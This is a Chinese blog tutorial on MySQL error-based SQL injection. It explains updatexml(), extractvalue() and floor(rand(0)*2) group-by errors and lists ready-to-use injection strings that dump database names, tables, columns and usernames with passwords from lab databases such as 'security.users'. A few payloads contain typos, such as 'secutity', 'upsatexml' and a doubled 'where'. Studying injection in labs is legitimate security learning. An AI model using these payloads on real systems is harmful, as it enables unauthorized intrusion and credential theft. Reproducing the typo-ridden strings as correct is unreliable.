SQL报错注入

Xpath报错注入

1、基础知识

(1)mysql5.1以上添加了对XML文档的查询和修改函数

upsatexml()、extractvalue()

当这两个函数在执行时,若出现xml文档路径会产生报错

(2)updatexml()使用不同的xml标记匹配和替换xml块

改变文档中符合条件节点的值

updatexml(XML_document,XPath_string,new_value)

第一个参数:string格式,xml文档对象

第二个参数:路径

第三个参数:string格式,替换查找到的符合条件的数据

updatexml使用时,当xpath_string格式出现错误mysql则会爆出xpath语法错误

(3)extractvalue()从目标XML中返回包含所查询值的字符串

extractvalue(XML_document,xpath_string)

第一个参数:string格式,为XML文档对象的名称

第二个参数:xpath格式的字符串

(4)0x7e~(波浪线)不属于xpath语法格式

2、updatexml()报错注入

爆出数据库及相关信息 1' and updatexml (1,concat(0x7e,database(),0x7e),1)# 爆出数据库表名 1' and updatexml (1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)# 爆出accounts表的字段 1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)# 查询用户名与密码 1and updatexml(1,concat((select group_concat(0x7e,uname,0x7e,pwd) from hackiweb500.accounts)),1)# extractvalue()同理,只有两个参数 查字段 1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) %23 查账号与密码 1' and extractvalue(1,concat(0x7e,(select group_concat(0x7e,username,0x3a,password) from users))) %23

floor()报错注入

1、原理

利用select count(*),floor(rand(0)*2)x from information_schema.schemata group by x;导致数据库报错,通过concat函数连接注入语句与floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

2、基础知识

(1)rand()产生一个在0和1之间的随机数

直接使用rand函数每次产生的数值不一样,但当我们提供了一个固定的随机数的种子0之后,每次产生的值都是相同的,这也可以称之为伪随机。

(2)floor (rand(0)*2)

floor函数的作用:返回小于等于括号内该值的最大整数。

rand(0)*2返回0-2之间的随机数

floor (rand(0)*2)每次产生的随机数都是0或1

(3)group by分类汇总

实例

(4)count()统计结果的记录数

综合使用产生报错 select count(*),floor(rand(0)*2) x from czs group by x; 当count(*)和group by x同时执行时,就会爆出duplicate entry错误。

3、实战

select count(*),concat( payload[],floor(rand(0)*2)) x from information_schema.schemata group by x ;

(1)判断是否存在报错注入

order by 判断列数

id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x %23 // 注意union前后位数要一致,发现存在报错注入

(2)爆出当前数据库名

id=1' union select 1,count(*),concat(database(),floor(rand(0)*2)) x from information_schema.schemata group by x %23

(3)爆出表

id=1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='secutity' limit 3,1),floor(rand(0)*2) x from information_schema.schemata group by x %23 //通过修改limit x,1中x的数字,来查询表

(4)爆出列

id=1' union select 1, count(*),concat((select column_name from information_schema.columns where table_schema='secutity' and where table_name='users' limit 2,1),floor(rand(0)*2) x from information_schema.schemata group by x %23 //通过修改limit x,1中x的数字,来查询字段

(5)爆数据

id=1'union select 1,count(*),concat((select concat(username,0x7e,password) from security.users limit 0,1),floor(rand(0)*2)) x from information_schema.schemata group by x %23 //通过修改limit x,1中x的数字,来查询用户名和密码

__EOF__

本文作者E=MC^2
本文链接https://www.cnblogs.com/zeroEMC/p/16394480.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   EMCzero  阅读(55)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· 25岁的心里话
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示